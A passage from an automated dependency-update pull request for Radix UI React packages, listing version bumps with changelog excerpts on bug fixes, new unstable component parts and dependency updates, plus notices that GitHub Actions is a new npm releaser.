\u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.11\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.3\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/popover\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-popover\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-progress` from 1.1.8 to 1.1.12\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/progress/CHANGELOG.md\"\u003e@​radix-ui/react-progress's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.12\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.11\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.10\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.9\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/progress\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-progress\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-radio-group` from 1.3.8 to 1.4.3\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/radio-group/CHANGELOG.md\"\u003e@​radix-ui/react-radio-group's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.4.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed a bug in form control components to ensure their values are updated when their associated form's is reset. This affects \u003ccode\u003eRadioGroup\u003c/code\u003e, \u003ccode\u003eSlider\u003c/code\u003e, \u003ccode\u003eSelect\u003c/code\u003e, and \u003ccode\u003eSwitch\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/primitive@1.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-roving-focus@1.1.15\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.4.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-roving-focus@1.1.14\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.4.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-roving-focus@1.1.13\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.4.0\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded unstable \u003ccode\u003eRadioGroupItemProvider\u003c/code\u003e, \u003ccode\u003eRadioGroupItemTrigger\u003c/code\u003e and \u003ccode\u003eRadioGroupItemBubbleInput\u003c/code\u003e parts. These expose the previously internal composition of a radio item (context provider, the interactive control, and the hidden form input) so consumers can directly access and recompose them. The \u003ccode\u003eRadioGroupItem\u003c/code\u003e component continues to render them by default.\u003c/li\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-presence@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-roving-focus@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-previous@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-size@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/radio-group\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-radio-group\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-scroll-area` from 1.2.10 to 1.2.14\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/scroll-area/CHANGELOG.md\"\u003e@​radix-ui/react-scroll-area's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.2.14\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003e--radix-scroll-area-corner-width\u003c/code\u003e and \u003ccode\u003e--radix-scroll-area-corner-height\u003c/code\u003e not resetting to \u003ccode\u003e0\u003c/code\u003e when the corner is removed (eg. when one of the scrollbars is no longer visible). Previously these values would stick around and leave a permanent gap on the remaining scrollbar.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/primitive@1.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.2.13\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed infinite re-render loop in React 19 caused by unstable composed ref callback references.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eOther updates\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.2.12\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eStabilized the viewport style tag unless the nonce changes.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eDuplicate index signature\u003c/code\u003e errors that surfaced when consuming multiple packages together.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.2.11\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed missing \u003ccode\u003edata-state\u003c/code\u003e attribute for Scroll Area scrollbars\u003c/li\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-presence@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/number@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-callback-ref@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-layout-effect@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/scroll-area\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-scroll-area\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-select` from 2.2.6 to 2.3.3\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/select/CHANGELOG.md\"\u003e@​radix-ui/react-select's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.3.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed a bug in form control components to ensure their values are updated when their associated form's is reset. This affects \u003ccode\u003eRadioGroup\u003c/code\u003e, \u003ccode\u003eSlider\u003c/code\u003e, \u003ccode\u003eSelect\u003c/code\u003e, and \u003ccode\u003eSwitch\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFixed menu items, tab triggers, toolbar links, and select items intercepting \u003ccode\u003eSpace\u003c/code\u003e/\u003ccode\u003eEnter\u003c/code\u003e keys that originate from focusable descendants.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.15\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-scope@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-popper@1.3.3\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.3.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed infinite re-render loop in React 19 caused by unstable composed ref callback references.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eOther updates\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.14\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-scope@1.1.11\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-popper@1.3.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.11\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.13\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-visually-hidden@1.2.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.3.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAllowed a \u003ccode\u003eSelect.Item\u003c/code\u003e with an empty string value to act as a \u0026quot;clear\u0026quot; option. Selecting it resets the selection back to the placeholder, restoring the native \u003ccode\u003e\u0026lt;select\u0026gt;\u003c/code\u003e behavior for optional selects.\u003c/li\u003e\n\u003cli\u003eFixed a bug where typeahead search resulted in focusing an element that no longer exists.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-slot@1.3.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-popper@1.3.1\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.13\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.10\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-scope@1.1.10\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-visually-hidden@1.2.6\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.3.0\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded unstable \u003ccode\u003eProvider\u003c/code\u003e and \u003ccode\u003eBubbleInput\u003c/code\u003e parts to Select. \u003ccode\u003eSelect.unstable_Provider\u003c/code\u003e sets up Select's context and state without implicitly rendering the hidden native \u003ccode\u003eselect\u003c/code\u003e, and \u003ccode\u003eSelect.unstable_BubbleInput\u003c/code\u003e exposes that previously internal native \u003ccode\u003eselect\u003c/code\u003e so consumers can recompose it explicitly. \u003ccode\u003eSelect\u003c/code\u003e continues to render both by default.\u003c/li\u003e\n\u003cli\u003eAdded support for presence-based exit animations in Select\u003c/li\u003e\n\u003cli\u003eFixed Select hidden input so it submits empty string when no value is selected\u003c/li\u003e\n\u003cli\u003eFixed placeholder rendering when a controlled Select is reset to an empty value\u003c/li\u003e\n\u003cli\u003eAdded missing \u003ccode\u003e__selectScope\u003c/code\u003e prop to \u003ccode\u003ePopperContent\u003c/code\u003e component\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eSelect\u003c/code\u003e closing unexpectedly after touch-scrolling its content when rendered inside an open shadow DOM\u003c/li\u003e\n\u003cli\u003eFixed a bug where iOS text selection and editing on HTML inputs within \u003ccode\u003ereact-dialog\u003c/code\u003e were broken\u003c/li\u003e\n\u003cli\u003eFixed triggers referencing a non-existent element via \u003ccode\u003earia-controls\u003c/code\u003e when their content is removed from the DOM (credit to \u003ca href=\"https://github.com/dodomorandi\"\u003e\u003ccode\u003e@​dodomorandi\u003c/code\u003e\u003c/a\u003e for the \u003ca href=\"https://redirect.github.com/radix-ui/primitives/pull/3243\"\u003eoriginal PR\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eSelectValue\u003c/code\u003e logging invalid prop errors when used with both \u003ccode\u003easChild\u003c/code\u003e and a placeholder\u003c/li\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-presence@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-popper@1.3.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-slot@1.2.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-guards@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.9\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/number@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-scope@1.1.9\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.11\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-callback-ref@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-layout-effect@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-previous@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-visually-hidden@1.2.5\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/select\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-select\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-separator` from 1.1.8 to 1.1.11\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/separator/CHANGELOG.md\"\u003e@​radix-ui/react-separator's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.11\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.10\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.9\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/separator\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-separator\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-slider` from 1.3.6 to 1.4.3\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/slider/CHANGELOG.md\"\u003e@​radix-ui/react-slider's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.4.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed a bug in form control components to ensure their values are updated when their associated form's is reset. This affects \u003ccode\u003eRadioGroup\u003c/code\u003e, \u003ccode\u003eSlider\u003c/code\u003e, \u003ccode\u003eSelect\u003c/code\u003e, and \u003ccode\u003eSwitch\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFixed keyboard stepping skipping a valid value when the current value is off the step grid (eg, a \u003ccode\u003edefaultValue\u003c/code\u003e that isn't a multiple of \u003ccode\u003estep\u003c/code\u003e from \u003ccode\u003emin\u003c/code\u003e). Stepping now snaps to the next step-aligned value in the direction of travel, matching native \u003ccode\u003e\u0026lt;input type=\u0026quot;range\u0026quot;\u0026gt;\u003c/code\u003e behavior.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/primitive@1.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.12\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.4.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed infinite re-render loop in React 19 caused by unstable composed ref callback references.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eOther updates\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.11\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.4.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eDuplicate index signature\u003c/code\u003e errors that surfaced when consuming multiple packages together.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.10\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.4.0\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded unstable \u003ccode\u003eThumbProvider\u003c/code\u003e, \u003ccode\u003eThumbTrigger\u003c/code\u003e, and \u003ccode\u003eBubbleInput\u003c/code\u003e parts to Slider. \u003ccode\u003eSliderThumb\u003c/code\u003e was previously a single component that implicitly rendered a hidden native input for form submission. It is now composed from these new parts, which are exposed so consumers can decouple the bubble input from the thumb (for example, to render or customize it independently) instead of relying on \u003ccode\u003eSliderThumb\u003c/code\u003e to render it implicitly. \u003ccode\u003eSliderThumb\u003c/code\u003e continues to render all three by default, so existing usage is unaffected.\u003c/li\u003e\n\u003cli\u003eAdded \u003ccode\u003efocusVisible\u003c/code\u003e for non-keyboard interactions with slider thumbs for progressively enabling styles using \u003ccode\u003e:focus-visible\u003c/code\u003e alongside programmatic focus management\u003c/li\u003e\n\u003cli\u003eFixed Slider focus bugs in scrollable context\u003c/li\u003e\n\u003cli\u003eFixed a Slider bug where very small \u003ccode\u003estep\u003c/code\u003e values made the thumbs unresponsive\u003c/li\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-collection@1.1.9\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/number@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-layout-effect@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-previous@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-size@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/slider\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-slider\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-slot` from 1.2.4 to 1.3.0\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/slot/CHANGELOG.md\"\u003e@​radix-ui/react-slot's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.3.0\u003c/h2\u003e\n\u003ch3\u003eAdded generic type arguments for \u003ccode\u003eSlotProps\u003c/code\u003e and \u003ccode\u003ecreateSlot\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003eSlotProps\u003c/code\u003e and \u003ccode\u003ecreateSlot\u003c/code\u003e now accept generic type arguments to specify the type of element a slot should render, as well as its props.\u003c/p\u003e\n\u003cpre lang=\"tsx\"\u003e\u003ccode\u003econst Slot = createSlot\u0026lt;HTMLButtonElement, MyCustomButtonProps\u0026gt;('Slot');\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch2\u003e1.2.5\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed infinite re-render loop in React 19 caused by \u003ccode\u003eSlot\u003c/code\u003e creating a new ref callback on every render\u003c/li\u003e\n\u003cli\u003eAdded support for nested \u003ccode\u003eSlottable\u003c/code\u003e via a render prop, so a slotted element can be wrapped while still merging Slot props and refs onto it\u003c/li\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eImproved error messages for invalid slot children\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/slot\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-slot\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-switch` from 1.2.6 to 1.3.3\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/switch/CHANGELOG.md\"\u003e@​radix-ui/react-switch's 